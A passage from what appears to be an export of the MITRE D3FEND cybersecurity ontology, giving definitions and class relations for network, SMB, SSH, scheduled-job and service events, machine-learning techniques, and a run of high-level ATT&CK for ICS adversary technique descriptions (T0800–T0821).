type: Class
definition: A remote authorization service provides for the authorization of a user across a network (i.e., remotely).
subclass of: Authorization Service

Remote Database Query
type: Class
definition: A remote query session enabling a user to make an SQL, SPARQL, or similar query over the network from one host to another.
subclass of: DatabaseQuery
subclass of: RemoteCommand

Remote Login Session
type: Class
definition: A remote login session is a login session where a client has logged in from their local host machine to a server via a network.
subclass of: NetworkSession

Remote Procedure Call
type: Class
definition: In distributed computing a remote procedure call (RPC) is when a computer program causes a procedure (subroutine) to execute in another address space (commonly on another computer on a shared network), which is coded as if it were a normal (local) procedure call, without the programmer explicitly coding the details for the remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. This is a form of client-server interaction (caller is client, executor is server), typically implemented via a request-response message-passing system. The object-oriented programming analog is remote method invocation (RMI). The RPC model implies a level of location transparency.
subclass of: RemoteCommand

Remote Shell Command
type: Class
definition: A remote shell command is a command sent from one computer to another to be executed on the remote computer. One example of this, is through a command-line interface (CLI) like using Invoke-Command from PowerShell or a command sent through an ssh session. This class generalizes to all means of sending a command through an established protocol to control capabilities on a remote computer.
subclass of: RemoteCommand

Remote Terminal Session
type: Class
definition: A remote terminal session is a session that provides a user access from one host to another host via a terminal.
subclass of: NetworkSession

Remove User from Group Event
type: Class
definition: An event where a user is removed from a group, revoking the permissions and privileges associated with the group from the user.
subclass of: Restriction
  on property: preceded-by
  some values from: Add User to Group Event
subclass of: Restriction
  on property: has-participant
  some values from: UserAccount
subclass of: GroupManagementEvent

Residual Neural Network
type: Class
type: NamedIndividual
d3fend-id: D3A-RNN
definition: A residual neural network (ResNet) is an artificial neural network (ANN). It is a gateless or open-gated variant of the HighwayNet, the first working very deep feedforward neural network with hundreds of layers, much deeper than previous neural networks.
kb-article: ## References Wikipedia contributors. (2021, August 23). Residual neural network. In Wikipedia, The Free Encyclopedia. [Link](https://en.wikipedia.org/wiki/Residual_neural_network)
subclass of: Convolutional Neural Network

Restoration Event
type: Class
type: NamedIndividual
definition: An event representing actions to return a compromised system or resource to a trusted operational state, such as through backup restoration, system reinstallation, or repair.
related: Restore
subclass of: SecurityEvent

Reverse Proxy Server
type: Class
definition: In computer networks, a reverse proxy is a type of proxy server that retrieves resources on behalf of a client from one or more servers. These resources are then returned to the client, appearing as if they originated from the proxy server itself. Unlike a forward proxy, which is an intermediary for its associated clients to contact any server, a reverse proxy is an intermediary for its associated servers to be contacted by any client. In other words, a proxy acts on behalf of the client(s), while a reverse proxy acts on behalf of the server(s); a reverse proxy is usually an internal-facing proxy used as a 'front-end' to control and protect access to a server on a private network.
subclass of: ProxyServer

Revoke Privileges from Group Event
type: Class
definition: An event where specific privileges or rights are removed from a group, restricting its members from performing actions or accessing resources previously allowed by those privileges.
subclass of: Restriction
  on property: preceded-by
  some values from: Assign Privileges to Group Event
subclass of: GroupManagementEvent
subclass of: Permission Revoking Event

Ruby Script File
type: ExecutableScript
type: NamedIndividual

SARSA
type: Class
type: NamedIndividual
d3fend-id: D3A-SAR
definition: State-action-reward-state-action (SARSA) is an algorithm for learning a Markov decision process policy, used in the reinforcement learning area of machine learning.
kb-article: ## References State-action-reward-state-action. Wikipedia. [Link](https://en.wikipedia.org/wiki/State%E2%80%93action%E2%80%93reward%E2%80%93state%E2%80%93action).
subclass of: Model-freeReinforcementLearning

SMB File Open Event
type: Class
definition: An event where a file is opened if it exists, failing otherwise. This operation is used to access or query the existing file.
subclass of: Restriction
  on property: preceded-by
  some values from: SMBFileCreateEvent
subclass of: SMBEvent

SMB File Open If Event
type: Class
definition: An event where a file is opened if it exists, or created if it does not. This operation merges file creation and access behavior.
subclass of: SMBEvent

SMB File Overwrite Event
type: Class
definition: An event where a file is opened and truncated if it exists, failing if the file does not already exist. This operation is destructive and focuses on replacing the file's contents.
subclass of: Restriction
  on property: preceded-by
  some values from: SMBFileCreateEvent
subclass of: SMBEvent

SMB File Overwrite If Event
type: Class
definition: An event where a file is opened and truncated if it exists, or created otherwise. This operation combines destructive overwrite and creation behaviors.
subclass of: SMBEvent

SMB File Supersede Event
type: Class
definition: An event where a file is overwritten if it exists or created if it does not. This operation combines file creation and modification semantics.
subclass of: SMBEvent

SSH Connection Close Event
type: Class
definition: An event indicating the termination of an SSH connection, signaling the end of a secure session.
subclass of: Restriction
  on property: preceded-by
  some values from: SSHConnectionOpenEvent
subclass of: Network Connection Close Event
subclass of: SSHEvent

SSH Connection Fail Event
type: Class
definition: An event indicating a failure to establish an SSH connection, often due to issues such as authentication errors, network timeouts, or server unavailability.
subclass of: Network Connection Fail Event
subclass of: SSHEvent

SSH Connection Refuse Event
type: Class
definition: An event indicating that an SSH connection attempt was refused, typically due to server-side restrictions or closed ports.
subclass of: Network Connection Refuse Event
subclass of: SSHEvent

SSH Connection Reset Event
type: Class
definition: An event indicating the abrupt termination of an SSH connection due to protocol errors, network disruptions, or administrative actions.
subclass of: Restriction
  on property: preceded-by
  some values from: SSHConnectionOpenEvent
subclass of: Network Connection Reset Event
subclass of: SSHEvent

SSH Listen Event
type: Class
definition: An event indicating that an SSH server has started listening for incoming connection requests, enabling potential clients to initiate secure sessions.
subclass of: Network Connection Listen Event
subclass of: SSHEvent

Saved Instruction Pointer
type: Class
definition: A saved instruction pointer points to the instruction that generated an exception (trap or fault).
subclass of: Pointer
subclass of: StackComponent

Scheduled Job Deletion Event
type: Class
definition: An event marking the removal of a scheduled task from the system, terminating its execution schedule.
subclass of: Restriction
  on property: preceded-by
  some values from: ScheduledJobCreationEvent
subclass of: ScheduledJobEvent

Scheduled Job Disable Event
type: Class
definition: An event where a scheduled task is deactivated, preventing further execution until re-enabled.
subclass of: Restriction
  on property: preceded-by
  some values from: Scheduled Job Enable Event
subclass of: ScheduledJobEvent

Scheduled Job Start Event
type: Class
definition: An event indicating the execution of a scheduled task, triggered either automatically by the scheduler or manually by a user.
subclass of: Restriction
  on property: preceded-by
  some values from: ScheduledJobCreationEvent
subclass of: ScheduledJobEvent

Scheduled Job Update Event
type: Class
definition: An event where an existing scheduled task is updated, altering parameters such as timing, conditions, or actions.
subclass of: Restriction
  on property: preceded-by
  some values from: ScheduledJobCreationEvent
subclass of: ScheduledJobEvent

Scheduling
type: Class
subclass of: Planning

Second-stage Boot Loader
type: Class
definition: An optional, often feature rich, second stage set of routines run in order to load the operating system.
subclass of: BootLoader

Security Architects
type: Target Audience
type: NamedIndividual

Self-organizing Map
type: Class
type: NamedIndividual
d3fend-id: D3A-SOM
definition: A Self-Organizing Map (SOM) is a unsupervised learning model in Artificial Neural Network where the feature maps are the generated two-dimensional discretized form of an input space during the model training (based on competitive learning)
kb-article: ## References GeeksforGeeks. (n.d.). ANN - Self Organizing Neural Network (SONN). [Link](https://www.geeksforgeeks.org/ann-self-organizing-neural-network-sonn/)
subclass of: ANN-basedClustering

Semi-supervised Boosting
type: Class
type: NamedIndividual
d3fend-id: D3A-SSB
definition: Boosting methods can be readily extended to the semi-supervised setting, by introducing pseudo-labeled data after each learning step; which gives rise to the idea of semi-supervised boosting methods. The pseudo-labeling approach of self- training and co-training can be easily extended to boosting methods. Several boosting methods such as SSMBoost, ASSEMBLE, SemiBoost, RegBoost, etc can be found which can be applied for utilizing unlabeled datasets for supervised classifiers.
kb-article: ## References Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)
subclass of: Semi-supervisedWrapperMethod

Semi-supervised Cluster-then-label
type: Class
type: NamedIndividual
d3fend-id: D3A-SSCTL
definition: Pre-training methods are aimed to guide the parameters of a network towards interesting regions in model space using unlabeled data, before fine-tuning the parameters with the labeled data.
kb-article: ## References Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)
subclass of: UnsupervisedPreprocessing

Semi-supervised Co-training
type: Class
type: NamedIndividual
d3fend-id: D3A-SSCT
definition: Multi-view co-training involves training the classifiers in completely different views of training data. On the other hand, single-view co-training methods are generally applied as ensemble methods.
kb-article: ## References Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)
subclass of: Semi-supervisedWrapperMethod

Semi-supervised Feature Extraction
type: Class
type: NamedIndividual
d3fend-id: D3A-SSFE
definition: Feature extraction refers to reducing the number of dimensions in a data point so that it is computationally feasible and effective to learn a model.
kb-article: ## References Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)
subclass of: UnsupervisedPreprocessing

Semi-supervised Generative Model Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-SSGML
definition: A Semi Supervised Machine Learning model which assume that the distributions take some particular form p(x|y,theta) parameterized by the vector. If these assumptions are incorrect, the unlabeled data may actually decrease the accuracy of the solution relative to what would have been obtained from labeled data alone. However, if the assumptions are correct, then the unlabeled data necessarily improves performance.
kb-article: ## References Weak supervision. Wikipedia. [Link](https://en.wikipedia.org/wiki/Weak_supervision#Generative_models).
subclass of: IntrinsicallySemi-supervisedLearning

Semi-supervised Inductive Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-SSIL
definition: The goal of inductive learning is to infer the correct mapping from X to Y.
kb-article: ## References Semi-Supervised Learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Semi-Supervised_Learning#Semi-supervised_learning). Zhou, D., & Li, M. (2005). Semi-supervised learning by higher order regularization. In Proceedings of the 43rd Annual Meeting of the Association for Computational Linguistics (ACL) (pp. 1-9). [Link](https://www.cs.sfu.ca/~anoop/papers/pdf/semisup_naacl.pdf).
subclass of: Semi-SupervisedLearning

Semi-supervised Manifold Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-SSML
definition: A version of Semi-Supervised Learning that applies the Manifold assumption that the data like approximately on a manifold of much lower dimension than the input space.
kb-article: ## References Weak supervision. Wikipedia. [Link](https://en.wikipedia.org/wiki/Weak_supervision#Generative_models).
subclass of: IntrinsicallySemi-supervisedLearning

Semi-supervised Pre-training
type: Class
type: NamedIndividual
d3fend-id: D3A-SSPT
definition: Pre-training methods are aimed to guide the parameters of a network towards interesting regions in model space using unlabeled data, before fine-tuning the parameters with the labeled data
kb-article: ## References Jashish Shrestha. (n.d.). Beginner's Guide to Semi-Supervised Learning. [Link](http://jashish.com.np/blog/posts/beginners-guide-to-semi-supervised-learning/)
subclass of: UnsupervisedPreprocessing

Semi-supervised Self-training
type: Class
type: NamedIndividual
d3fend-id: D3A-SSST
definition: Self-training is the procedure in which a supervised method for classification or regression is modified it to work in a semi-supervised manner, taking advantage of labeled and unlabeled data
kb-article: ## References AltexSoft. (n.d.). Semi-Supervised Learning: A Technical Guide with Python Examples. [Link](https://www.altexsoft.com/blog/semi-supervised-learning/#:~:text=One%20of%20the%20simplest%20examples,of%20labeled%20and%20unlabeled%20data.)
subclass of: Semi-supervisedWrapperMethod

SeqGAN
type: Class
type: NamedIndividual
d3fend-id: D3A-SEQ
definition: Sequence Generation Framework (SeqGAN) models the data generator as a stochastic policy in reinforcement learning (RL), SeqGAN bypasses the generator differentiation problem by directly performing gradient policy update.
kb-article: ## References Yu, L., Zhang, W., Wang, J., & Yu, Y. (2017). SeqGAN: Sequence Generative Adversarial Nets with Policy Gradient. ArXiv preprint ArXiv:1609.05473. [Link](https://arxiv.org/abs/1609.05473)
synonym: Sequence GAN
subclass of: GenerativeAdversarialNetwork

Serialization Function
type: Class
definition: A function which has an operation that serializes data.
subclass of: Subroutine

Service Deletion Event
type: Class
definition: An event capturing the uninstallation or deregistration of a service application, ensuring it is no longer operational or available to clients.
subclass of: Restriction
  on property: preceded-by
  some values from: ServiceInstallationEvent
subclass of: Application Deletion Event
subclass of: ServiceEvent

Service Disable Event
type: Class
definition: An event capturing the deactivation of a service application, preventing it from being started or accessed until re-enabled.
subclass of: Restriction
  on property: preceded-by
  some values from: Service Enable Event
subclass of: Application Disable Event
subclass of: ServiceEvent

Service Restart Event
type: Class
definition: An event describing the sequential stopping and starting of a service application to refresh its state, apply updates, or resolve operational issues.
subclass of: Restriction
  on property: preceded-by
  some values from: Service Stop Event
subclass of: Restriction
  on property: precedes
  some values from: ServiceStartEvent
subclass of: Application Restart Event
subclass of: ServiceEvent

Service Update Event
type: Class
definition: An event describing changes made to a service application, such as updates, reconfigurations, or patch installations, ensuring its continued availability and functionality.
subclass of: Restriction
  on property: preceded-by
  some values from: ServiceInstallationEvent
subclass of: Application Update Event
subclass of: ServiceEvent

Shadow Stack
type: Class
type: NamedIndividual
copy-of: Call Stack
definition: A shadow stack is a mechanism for protecting a procedure's stored return address, such as from a stack buffer overflow. The shadow stack itself is a second, separate stack that "shadows" the program call stack. In the function prologue, a function stores its return address to both the call stack and the shadow stack. In the function epilogue, a function loads the return address from both the call stack and the shadow stack, and then compares them. If the two records of the return address differ, then an attack is detected.
subclass of: Restriction
  on property: copy-of
  some values from: Call Stack
subclass of: DigitalInformationBearer

Singular Value Decomposition
type: Class
type: NamedIndividual
d3fend-id: D3A-SVD
definition: Singular Value Decomposition (SVD) is an algorithm that represents a matrix as a linear series of data and to find the set of factors that will best predict an outcome
kb-article: ## References Wikipedia. (n.d.). Singular value decomposition. [Link](https://en.wikipedia.org/wiki/Singular_value_decomposition)
subclass of: DimensionReduction

Software Artifact Server
type: Class
definition: A software artifact server provides access to the software artifacts in a software repository. A software repository, or "repo" for short, is a storage location for software packages. Often a table of contents is stored, as well as metadata. Repositories group packages. Sometimes the grouping is for a programming language, such as CPAN for the Perl programming language, sometimes for an entire operating system, sometimes the license of the contents is the criteria. At client side, a package manager helps installing from and updating the repositories.
subclass of: Artifact Server

Software Patch
type: Class
definition: A patch is a piece of software designed to update a computer program or its supporting data, to fix or improve it. This includes fixing security vulnerabilities and other bugs, with such patches usually called bugfixes or bug fixes, and improving the usability or performance. Although meant to fix problems, poorly designed patches can sometimes introduce new problems (see software regressions). In some special cases updates may knowingly break the functionality, for instance, by removing components for which the update provider is no longer licensed or disabling a device.
subclass of: Software
alternative label: Patch

Software Repository
type: Class
type: NamedIndividual
contains: SoftwarePackage
definition: A software repository, or repo for short, is a storage location for software packages. Often a table of contents is also stored, along with metadata. A software repository is typically managed by source or version control, or repository managers. Package managers allow automatically installing and updating repositories, sometimes called 'packages'.
subclass of: Restriction
  on property: contains
  some values from: SoftwarePackage
subclass of: Repository
alternative label: Package Repository

Somers' D
type: Class
type: NamedIndividual
d3fend-id: D3A-SD
subclass of: RankCorrelationCoefficient

Soundex Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-SM
definition: Soundex is a phonetic algorithm for indexing names by sound, as pronounced in English.
kb-article: ## How it works The goal is for homophones to be encoded to the same representation so that they can be matched despite minor differences in spelling. The algorithm mainly encodes consonants; a vowel will not be encoded unless it is the first letter. Soundex is the most widely known of all phonetic algorithms (in part because it is a standard feature of popular database software. Improvements to Soundex are the basis for many modern phonetic algorithms. ## References 1. Soundex. (2023, April 19). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Soundex)
subclass of: PartialMatching

Source Code Analyzer Tool
type: Class
definition: A source code analyzer tool is a static analysis tool that operates specifically on source code, but not object code.
subclass of: Static Analysis Tool

Spearman's Rank Correlation Coefficient
type: Class
type: NamedIndividual
d3fend-id: D3A-SRCC
synonym: Spearman's Rho
subclass of: RankCorrelationCoefficient

Spectral Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-SC
definition: Spectral clustering is a technique that identifies communities of nodes in a graph based on the edges connecting them.
kb-article: ## References Towards Data Science. (n.d.). Spectral Clustering. [Link](https://towardsdatascience.com/spectral-clustering-aba2640c0d5b)
subclass of: Graph-basedClustering

Stack Segment
type: Class
type: NamedIndividual
contains: StackFrame
definition: The stack segment contains the program stack, a last-in-first-out structure, typically allocated in the higher parts of memory for the process.
subclass of: Restriction
  on property: contains
  some values from: StackFrame
subclass of: ProcessSegment

Stacking
type: Class
type: NamedIndividual
d3fend-id: D3A-STA
definition: Stacking is a method of using the results and predictions from one layer of ML models as inputs to another layer of ML models. Stacking (sometimes called stacked generalization) involves training a model to combine the predictions of several other learning algorithms.
kb-article: ## References Ensemble learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Ensemble_learning).
subclass of: EnsembleLearning

Startup Directory
type: Class
definition: A startup directory is a directory containing executable files or links to executable files which are run when a user logs in or when a system component or service is started.
subclass of: Directory
subclass of: LocalResource

Storage Device Event
type: Class
definition: An event describing the activity, configuration, or errors of storage devices, including physical disks, SSDs, or logical partitions. These events often pertain to data availability, integrity, and storage health.
subclass of: Restriction
  on property: has-participant
  some values from: SecondaryStorage
subclass of: HardwareDeviceEvent

String Equivalence Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-SEM
definition: String equivalence matching is a type of string pattern matching which is exact; that is, the strings being compared must have the same value for each character in their sequence and be of the same length.
kb-article: ## References 1. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm) 2. Types of Equality. (2007, March 2). In _WikiWikiWeb_. [Link](https://wiki.c2.com/?TypesOfEquality)
subclass of: Equivalence Matching
subclass of: StringPatternMatching

String Format Function
type: Class
definition: A function which creates a new string based on a format specification and correspondingi specified values.
subclass of: Subroutine

StyleGAN
type: Class
type: NamedIndividual
d3fend-id: D3A-STY
definition: Successor to the ProGAN.
kb-article: ## References Wikipedia. (n.d.). StyleGAN. [Link](https://en.wikipedia.org/wiki/StyleGAN)
synonym: Style GAN
subclass of: ImageSynthesisGAN

Subspace Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-SC
definition: Subspace clustering is an extension of traditional clustering that seeks to find clusters in different subspaces within a dataset.
kb-article: ## References Parsons, L., Haque, E., & Liu, H. (2004). Subspace Clustering for High Dimensional Data: A Review. [Link](https://www.kdd.org/exploration_files/parsons.pdf)
subclass of: Correlation Clustering

Substring Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-SM
definition: String-searching algorithms, sometimes called string-matching algorithms, are an important class of string algorithms that try to find a place where one or several strings (also called patterns) are found within a larger string or text.
kb-article: ## References 1. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm)
subclass of: PartialMatching

Supply Chain Attacker
type: Class
definition: An attacker who exploits vulnerabilities in the supply chain to compromise systems or data.
subclass of: Restriction
  on property: accesses
  some values from: Software
subclass of: Attacker

Support Vector Machine Classification
type: Class
type: NamedIndividual
d3fend-id: D3A-SVMC
definition: Support Vector Machine (SVM) is a robust classification and regression technique that maximizes the predictive accuracy of a model without overfitting the training data. SVM is particularly suited to analyzing data with very large numbers (for example, thousands) of predictor fields.
kb-article: ## References About Support Vector Machine (SVM). IBM SPSS Modeler SaaS Documentation. [Link](https://www.ibm.com/docs/en/spss-modeler/saas?topic=models-about-svm&mhsrc=ibmsearch_a&mhq=support%20vector%20machine).
subclass of: Classification

Switch
type: Class
definition: A network switch (also called switching hub, bridging hub, and by the IEEE MAC bridge) is networking hardware that connects devices on a computer network by using packet switching to receive and forward data to the destination device. A network switch is a multiport network bridge that uses MAC addresses to forward data at the data link layer (layer 2) of the OSI model. Some switches can also forward data at the network layer (layer 3) by additionally incorporating routing functionality. Such switches are commonly known as layer-3 switches or multilayer switches.
subclass of: ComputerNetworkNode
alternative label: Bridging Hub
alternative label: MAC Bridge
alternative label: Network Switch
alternative label: Switching Hub

Symmetric Feature-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-SFTL
definition: Homogeneous symmetric transformation takes both the source feature space Xs and target feature space Xt and learns feature transformations as to project each onto a common subspace Xc for adaptation purposes. This derived subspace becomes a domain-invariant feature subspace to associate cross-domain data, and in effect, reduces marginal distribution differences.
kb-article: ## References Day, O., & Khoshgoftaar, T.M. (2017). A survey on heterogeneous transfer learning. *Journal of Big Data, 4*(1), 29. [Link](https://doi.org/10.1186/s40537-017-0089-0).
subclass of: HomogenousTransferLearning

Symmetric Key
type: Class
definition: A symmetric key is a single key used for both encryption and decryption and used with a symmetric-key algorithm. Symmetric-key algorithms are algorithms for cryptography that use the same cryptographic keys for both encryption of plaintext and decryption of ciphertext. The keys may be identical or there may be a simple transformation to go between the two keys. The keys, in practice, represent a shared secret between two or more parties that can be used to maintain a private information link. This requirement that both parties have access to the secret key is one of the main drawbacks of symmetric key encryption, in comparison to public-key encrytption (also known as asymmetric key encryption).
subclass of: CryptographicKey

System Call Event
type: Class
definition: An event where a user-space process requests a service or resource from the operating system kernel through a system call interface, enabling controlled interactions with hardware or kernel-level operations.
subclass of: Restriction
  on property: has-participant
  some values from: SystemCall
subclass of: KernelEvent

System Init Process
type: Class
definition: A system initialization process is a process that executes to initialize (boot) an operating system.
subclass of: OperatingSystemProcess
alternative label: System Initialization Process
alternative label: System Startup Process

System Utilization Record
type: Class
definition: A system utilization record is a record for the tracking of resource utilization e.g. CPU, Disk, Network, Memory Bandwidth, GPU, or other resources for a given time period.
subclass of: Record

Activate Firmware Update Mode - ATTACK ICS
type: Class
attack-id: T0800
definition: Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Activate Firmware Update Mode

Monitor Process State - ATTACK ICS
type: Class
attack-id: T0801
definition: Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.
subclass of: ATTACKICSCollectionTechnique
preferred label: Monitor Process State

Automated Collection - ATTACK ICS
type: Class
attack-id: T0802
definition: Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.
subclass of: ATTACKICSCollectionTechnique
preferred label: Automated Collection

Block Command Message - ATTACK ICS
type: Class
attack-id: T0803
definition: Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016)
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Block Command Message

Block Reporting Message - ATTACK ICS
type: Class
attack-id: T0804
definition: Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Block Reporting Message

Block Serial COM - ATTACK ICS
type: Class
attack-id: T0805
definition: Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Block Serial COM

Brute Force I/O - ATTACK ICS
type: Class
attack-id: T0806
definition: Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary's goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point.
subclass of: ATTACKICSImpairProcessControlTechnique
preferred label: Brute Force I/O

Command-Line Interface - ATTACK ICS
type: Class
attack-id: T0807
definition: Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: Enterprise ATT&CK January 2018) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation.
subclass of: ATTACKICSExecutionTechnique
preferred label: Command-Line Interface

Control Device Identification - ATTACK ICS
type: Class
attack-id: T0808
definition: Adversaries may perform control device identification to determine the make and model of a target device. Management software and device APIs may be utilized by the adversary to gain this information. By identifying and obtaining device specifics, the adversary may be able to determine device vulnerabilities. This device information can also be used to understand device functionality and inform the decision to target the environment.
comment: This technique has been deprecated.
subclass of: ATTACKICSDiscoveryTechnique
deprecated: true
preferred label: Control Device Identification

Data Destruction - ATTACK ICS
type: Class
attack-id: T0809
definition: Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: Enterprise ATT&CK January 2018)
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Data Destruction

Data Historian Compromise - ATTACK ICS
type: Class
attack-id: T0810
definition: Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment.
comment: This technique has been deprecated.
subclass of: ATTACKICSInitialAccessTechnique
deprecated: true
preferred label: Data Historian Compromise

Data from Information Repositories - ATTACK ICS
type: Class
attack-id: T0811
definition: Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases in the process environment, as well as databases in the corporate network that might contain information about the ICS.(Citation: Cybersecurity & Infrastructure Security Agency March 2018)
subclass of: ATTACKICSCollectionTechnique
preferred label: Data from Information Repositories

Default Credentials - ATTACK ICS
type: Class
attack-id: T0812
definition: Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Keith Stouffer May 2015)
subclass of: ATTACKICSLateralMovementTechnique
preferred label: Default Credentials

Denial of Control - ATTACK ICS
type: Class
attack-id: T0813
definition: Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)
subclass of: ATTACKICSImpactTechnique
preferred label: Denial of Control

Denial of Service - ATTACK ICS
type: Class
attack-id: T0814
definition: Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Denial of Service

Denial of View - ATTACK ICS
type: Class
attack-id: T0815
definition: Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)
subclass of: ATTACKICSImpactTechnique
preferred label: Denial of View

Device Restart/Shutdown - ATTACK ICS
type: Class
attack-id: T0816
definition: Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Device Restart/Shutdown

Drive-by Compromise - ATTACK ICS
type: Class
attack-id: T0817
definition: Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session. With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Drive-by Compromise

Engineering Workstation Compromise - ATTACK ICS
type: Class
attack-id: T0818
definition: Adversaries will compromise and gain control of an engineering workstation for Initial Access into the control system environment. Access to an engineering workstation may occur through or physical means, such as a Valid Accounts with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to, and control of, other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.
comment: This technique has been deprecated.
subclass of: ATTACKICSInitialAccessTechnique
deprecated: true
preferred label: Engineering Workstation Compromise

Exploit Public-Facing Application - ATTACK ICS
type: Class
attack-id: T0819
definition: Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Exploit Public-Facing Application

Exploitation for Evasion - ATTACK ICS
type: Class
attack-id: T0820
definition: Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features.
subclass of: ATTACKICSEvasionTechnique
preferred label: Exploitation for Evasion

Modify Controller Tasking - ATTACK ICS
type: Class
attack-id: T0821
definition: Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller.
